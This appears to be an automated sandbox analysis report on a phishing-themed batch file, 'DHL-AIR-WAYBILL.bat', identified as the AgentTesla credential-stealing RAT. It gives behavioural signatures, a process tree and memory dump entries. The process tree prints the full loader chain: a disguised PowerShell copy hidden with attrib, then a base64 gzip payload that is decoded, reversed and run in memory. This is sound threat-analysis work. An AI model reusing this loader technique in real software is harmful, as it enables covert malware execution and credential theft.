Analysis

  • max time kernel
    136s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/07/2024, 15:32

General

  • Target
    DHL-AIR-WAYBILL.bat
  • Size 1.6MB
  • Sample240730-syn3fswgkm
  • SHA256 abcdce91fde094dd2eeafa37e7cf5c8c9a880739b53ed0b882770cd55ee9fc52
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:1104
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq
        2⤵
          PID:4864
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq
          2⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:1752
        • C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq
          C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq -WindowStyle hidden -command "$Hgoqisbp = get-content 'C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat' | Select-Object -Last 1; $Ukzawnkqruz = [System.Convert]::FromBase64String($Hgoqisbp);$Uqvewwx = New-Object System.IO.MemoryStream( , $Ukzawnkqruz );$Xenjxehdvji = New-Object System.IO.MemoryStream;$Pctfsel = New-Object System.IO.Compression.GzipStream $Uqvewwx, ([IO.Compression.CompressionMode]::Decompress);$Pctfsel.CopyTo( $Xenjxehdvji );$Pctfsel.Close();$Uqvewwx.Close();[byte[]] $Ukzawnkqruz = $Xenjxehdvji.ToArray();[Array]::Reverse($Ukzawnkqruz); $Gmduu = [System.Threading.Thread]::GetDomain().Load($Ukzawnkqruz); $Oygpjvh = $Gmduu.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Oygpjvh.DeclaringType, $Oygpjvh.Name).DynamicInvoke() | Out-Null"
          2⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4548
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c timeout 5
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2884
            • C:\Windows\SysWOW64\timeout.exe
              timeout 5
              4⤵
              • System Location Discovery: System Language Discovery
              • Delays execution with timeout.exe
              PID:2216
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c timeout 5
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1856
            • C:\Windows\SysWOW64\timeout.exe
              timeout 5
              4⤵
              • System Location Discovery: System Language Discovery
              • Delays execution with timeout.exe
              PID:1360

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            DHL-AIR-WAYBILL.bat.Plq

            • Path C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq
            • Size 423KB
            • SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
            • MD5 SHA1 SHA512 SSDEEP

            __PSScriptPolicyTest_fmikjuso.bt4.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fmikjuso.bt4.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            memory/4548-5-0x000000007474E000-0x000000007474F000-memory.dmp

            memory/4548-6-0x0000000004F90000-0x0000000004FC6000-memory.dmp

            memory/4548-7-0x0000000074740000-0x0000000074EF0000-memory.dmp

            memory/4548-9-0x0000000074740000-0x0000000074EF0000-memory.dmp

            memory/4548-8-0x0000000005730000-0x0000000005D58000-memory.dmp

            memory/4548-10-0x0000000005580000-0x00000000055A2000-memory.dmp

            memory/4548-12-0x0000000005690000-0x00000000056F6000-memory.dmp

            memory/4548-22-0x0000000005E20000-0x0000000006174000-memory.dmp

            memory/4548-11-0x0000000005620000-0x0000000005686000-memory.dmp

            memory/4548-23-0x0000000006540000-0x000000000655E000-memory.dmp

            memory/4548-24-0x00000000065E0000-0x000000000662C000-memory.dmp

            memory/4548-26-0x0000000006A70000-0x0000000006A8A000-memory.dmp

            memory/4548-27-0x0000000006AC0000-0x0000000006AE2000-memory.dmp

            memory/4548-28-0x0000000007D90000-0x0000000008334000-memory.dmp

            memory/4548-25-0x0000000006AF0000-0x0000000006B86000-memory.dmp

            memory/4548-29-0x00000000089C0000-0x000000000903A000-memory.dmp

            memory/4548-30-0x0000000007860000-0x00000000079C4000-memory.dmp

            memory/4548-31-0x00000000087F0000-0x0000000008906000-memory.dmp

            memory/4548-75-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-71-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-79-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-95-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-93-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-91-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-89-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-87-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-85-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-83-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-81-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-77-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-69-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-67-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-65-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-63-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-59-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-57-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-55-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-53-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-47-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-41-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-73-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-39-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-37-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-35-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-61-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-33-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-51-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-49-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-32-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-45-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-43-0x00000000087F0000-0x0000000008900000-memory.dmp

            memory/4548-1069-0x0000000008770000-0x00000000087BC000-memory.dmp

            memory/4548-1068-0x0000000008900000-0x0000000008996000-memory.dmp

            memory/4548-1071-0x000000000A360000-0x000000000A3B4000-memory.dmp

            memory/4548-1075-0x000000000A4D0000-0x000000000A512000-memory.dmp

            memory/4548-1077-0x000000000A830000-0x000000000A880000-memory.dmp

            memory/4548-1078-0x000000000A920000-0x000000000A9B2000-memory.dmp

            memory/4548-1079-0x000000000A8C0000-0x000000000A8CA000-memory.dmp

            memory/4548-1080-0x000000007474E000-0x000000007474F000-memory.dmp

            memory/4548-1081-0x0000000074740000-0x0000000074EF0000-memory.dmp